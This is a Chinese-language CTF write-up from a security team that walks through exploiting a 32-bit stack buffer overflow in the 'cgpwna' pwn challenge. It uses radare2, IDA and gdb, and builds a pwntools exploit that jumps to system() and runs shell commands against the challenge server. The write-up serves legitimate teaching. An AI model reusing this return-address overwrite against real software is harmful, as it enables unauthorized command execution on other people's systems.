《从入门到秃头之PWN蛇皮走位》

  • A+
所属分类:逆向工程
《从入门到秃头之PWN蛇皮走位》

本文由团队大佬咸湿小和尚总结编写

0x01 读题并下载文件

《从入门到秃头之PWN蛇皮走位》

南邮pwn题:cgpwna

《从入门到秃头之PWN蛇皮走位》

这道题读出的信息,有IP:182.254.217.142 PORT:10001

然后flag存放位置是在/home/pwn/flag

那么按道理就是,我们使用远程连接182.254.217.142:10001

然后执行命令

cat /home/pwn/flag

接下来问题就是怎么打了

0x02 获取文件信息

《从入门到秃头之PWN蛇皮走位》

首先就是查壳并确认是32还是64位的程序

《从入门到秃头之PWN蛇皮走位》

确认是32位程序,并且没有混淆函数

0x03 分析函数

《从入门到秃头之PWN蛇皮走位》

分析函数使用工具:Radare2、IDA7.0

使用IDA7.0查看程序,并获取程序详情,然后直接看使用的点

《从入门到秃头之PWN蛇皮走位》

使用F5查看几个关键函数的伪代码:

1.pwnme():

《从入门到秃头之PWN蛇皮走位》

2.menu():

《从入门到秃头之PWN蛇皮走位》

3.message():

《从入门到秃头之PWN蛇皮走位》

4. main:

《从入门到秃头之PWN蛇皮走位》

然后看程序流程

《从入门到秃头之PWN蛇皮走位》

可以分析出判断条件是choice为49时候程序退出,退出前会输出“bye”,否则就会跳入message()函数中

接下来用r2分析看看

->r2 cgpwna┌─[[email protected]]─[~/Documents]└──╼ $r2 cgpwna[0x08048420]> aaa[x] Analyze all flags starting with sym. and entry0 (aa)[x] Analyze function calls (aac)[x] Analyze len bytes of instructions for references (aar)[x] Check for objc references[x] Check for vtables[x] Type matching analysis for all functions (aaft)[x] Propagate noreturn information[x] Use -AA or aaaa to perform additional experimental analysis.[0x08048420]> afl0x08048420    1 33           entry00x08048410    1 6            sym.imp.__libc_start_main0x08048460    4 42           sym.deregister_tm_clones0x08048490    4 55           sym.register_tm_clones0x080484d0    3 30           entry.fini00x080484f0    4 45   -> 44   entry.init00x080486e0    1 2            sym.__libc_csu_fini0x0804851d    1 20           sym.pwnme0x080483f0    1 6            sym.imp.system0x08048569    1 113          sym.message0x080483e0    1 6            sym.imp.puts0x080483d0    1 6            sym.imp.fgets0x08048450    1 4            sym.__x86.get_pc_thunk.bx0x08048531    1 56           sym.menu0x080486e4    1 20           sym._fini0x08048670    4 97           sym.__libc_csu_init0x080485da    5 145          main0x080483c0    1 6            sym.imp.setbuf0x08048384    3 35           sym._init0x08048400    1 6            loc.imp.__gmon_start[0x08048420]>s main        //或者自己想要获取的函数[0x08048420]>VV


《从入门到秃头之PWN蛇皮走位》

这样可以方便在linux使用gdb调试

0x04 执行程序

《从入门到秃头之PWN蛇皮走位》
《从入门到秃头之PWN蛇皮走位》

可以看到,程序执行流程

分为三段输入,第一次是choice,第二次是message,第三次是name

这时候盲测,发现程序其实并未循环,而是直接bye后退出

那么就是说明,存在溢出了

溢出把我们原先输入的高地址数据给压下去了

而这时候需要直接用调试才知道程序流程怎么走

0x05 gdb调试程序

《从入门到秃头之PWN蛇皮走位》

使用gdb调试程序过程中,尽量使数据变大,才可以看到栈压到哪里去了,当然,第一次的时候可以为了分析流程而选择正常数据

这里把三次输入点都记录下来,然后一个一个测:

发现第一次输入的无关紧要,虽然也可以溢出

而第二次的会影响到第三次输入的get函数数据长度n

执行:

┌─[[email protected]]─[~/Documents]└──╼ $gdb cgpwna GNU gdb (Debian 8.3.1-1) 8.3.1Copyright (C) 2019 Free Software Foundation, Inc.License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>This is free software: you are free to change and redistribute it.There is NO WARRANTY, to the extent permitted by law.Type "show copying" and "show warranty" for details.This GDB was configured as "x86_64-linux-gnu".Type "show configuration" for configuration details.For bug reporting instructions, please see:<http://www.gnu.org/software/gdb/bugs/>.Find the GDB manual and other documentation resources online at:    <http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".Type "apropos word" to search for commands related to "word"...pwndbg: loaded 181 commands. Type pwndbg [filter] for a list.pwndbg: created $rebase, $ida gdb functions (can be used with print/break)Reading symbols from cgpwna...(No debugging symbols found in cgpwna)pwndbg> b mainBreakpoint 1 at 0x80485ddpwndbg> r


《从入门到秃头之PWN蛇皮走位》

可以看到输入的数据长度n是0x3c(就是60)

而起始地址是0x804a080

这时候直接输入60个‘a’

《从入门到秃头之PWN蛇皮走位》

看到这个就知道可以输入多少个a了

一共是57个a

接下来就是继续执行看到第二个get:

《从入门到秃头之PWN蛇皮走位》

n长度变化了,也就是说明第一次执行的溢出后干扰了第二次输入的长度n

然后记录一下第二次起始点0xffffd238指向地址0xf7fa1004的值

也就是说第二次输入的进入了0xf7fa1004当中

那么就是大量输入数据‘1’

这里长度是aaaa,按道理不会输入那么长:

《从入门到秃头之PWN蛇皮走位》

然后继续走,看看call的点和ret的点的异常:

发现异常点在ret以后跳跃的值

《从入门到秃头之PWN蛇皮走位》

而执行了这个段是在0xffffd26c

那么头绪就有了

0x06 获得offset

《从入门到秃头之PWN蛇皮走位》

把记录的获取的位置,计算offset=0xffffd26c-0xffffd238=34

可见完整存放数据是低地址压向高地址

《从入门到秃头之PWN蛇皮走位》

寻关键地址,首先选中pwnme()函数的起始地址:

《从入门到秃头之PWN蛇皮走位》
《从入门到秃头之PWN蛇皮走位》

获得地址为:0x804851d

0x07 写exp

《从入门到秃头之PWN蛇皮走位》

from pwn import *
offset=0xffffd26c-0xffffd238k=process('./cgpwna')k.recvline('your choice:')sleep(1)k.sendline('1')sleep(1)k.recvline('you can leave some message here:')k.sendline('a'*57)sleep(1)k.recvline('your name please:')k.sendline('1'*offset+p32(0x804851d))k.interactive()

若是程序错误或者问题

使用raw_input()

使得程序暂停,然后用gdb命令:attach pid

然后使用fin进入程序点,使用ni跟踪执行

《从入门到秃头之PWN蛇皮走位》

成功进入了pwnme()函数

就是说明成功执行

0x08 进入pwnme()函数分析

《从入门到秃头之PWN蛇皮走位》

接下来就是需要使用到raw_input()

然后执行python文件后,用gdb追踪pid,然后再回到执行python文件的命令中回车

from pwn import *
offset=0xffffd26c-0xffffd238k=process('./cgpwna')k.recvline('your choice:')sleep(1)k.sendline('1')sleep(1)k.recvline('you can leave some message here:')k.sendline('a'*57)sleep(1)raw_input() #添加调试点k.recvline('your name please:')k.sendline('1'*offset+p32(0x804851d))k.interactive()


《从入门到秃头之PWN蛇皮走位》

然后回车后用fin不断执行跳跃进入源程序

《从入门到秃头之PWN蛇皮走位》

进入到pwnme函数看到system函数:

《从入门到秃头之PWN蛇皮走位》

查看system函数的地方怎么输出的echo hello

《从入门到秃头之PWN蛇皮走位》

这里看到,system是调用了esp寄存器

而esp寄存器中的值是0xffa90054

而0xffa90054指向了地址0x8048700

0x09 推理

《从入门到秃头之PWN蛇皮走位》

假如ret的时候直接调到system的值即0x804852A,那么esp必须指向一个地址,这个地址是执行系统函数的

这么一来exp就可以改了

我可以让传入的esp改的话是必须在不断调试下发现,竟然在输入的函数后面,而调试过程就是这样的:

《从入门到秃头之PWN蛇皮走位》


然后确定位置是0xffac7c70开始,然后就是3的个数竟然是100,因此直接在后面拼接第二次输入的地方,其中用x00就是截断执行数据

第二次输入函数的时候s的起始地址是0x804a080(前面有讲)

exp修改为:

from pwn import *
offset=0xffffd26c-0xffffd238k=process('./cgpwna')k.recvline('your choice:')sleep(1)k.sendline('1')sleep(1)k.recvline('you can leave some message here:')k.sendline('ls'+'x00'+'a'*(57-2-4))sleep(1)raw_input() #添加调试点k.recvline('your name please:')k.sendline('1'*offset+p32(0x804852a)+p32(0x804a080))k.interactive()

这里如果不需要调试点可以关闭

执行结果为:

《从入门到秃头之PWN蛇皮走位》

竟然直接getshell了

那么就是打远程了。

0x10 写出最终版本exp

《从入门到秃头之PWN蛇皮走位》
from pwn import *
offset=0xffffd26c-0xffffd238k=remote('182.254.217.142',10001)k.recvline('your choice:')sleep(1)k.sendline('1')sleep(1)k.recvline('you can leave some message here:')k.sendline('cat /home/pwn/flag'+'x00'+'a'*(57-18-4))sleep(1)k.recvline('your name please:')k.sendline('1'*offset+p32(0x804852a)+p32(0x804a080))k.interactive()


《从入门到秃头之PWN蛇皮走位》
《从入门到秃头之PWN蛇皮走位》

重要提醒!

团队现开了微信交流群(每日资源分享),团队语雀知识库(每日积累)及知识星球(小范围精华内容传播及问答),欢迎加入(微信群通过公众号按钮“加入我们”获取联系方式):

《从入门到秃头之PWN蛇皮走位》
《从入门到秃头之PWN蛇皮走位》

往期推荐:

深入探究浏览器编码及XSS Bypass

“最后”的Bypass CDN 查找网站真实IP

漏洞笔记|记一次与XXE漏洞的爱恨纠缠

内网渗透 | 域内权限解读

MSF 下域内渗透

HVV前奏|最新版AWVS&Nessus破解及批量脚本分享

移动安全(一)|Android设备root及神器Xposed框架安装

移动安全-APP渗透进阶之AppCan本地文件解密

漏洞挖掘|条件竞争在漏洞挖掘中的妙用


《从入门到秃头之PWN蛇皮走位》

扫描二维码 |关注我们

微信号 : WhITECat_007|  名称:WhITECat安全团队 



本文始发于微信公众号(WhITECat安全团队):《从入门到秃头之PWN蛇皮走位》

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: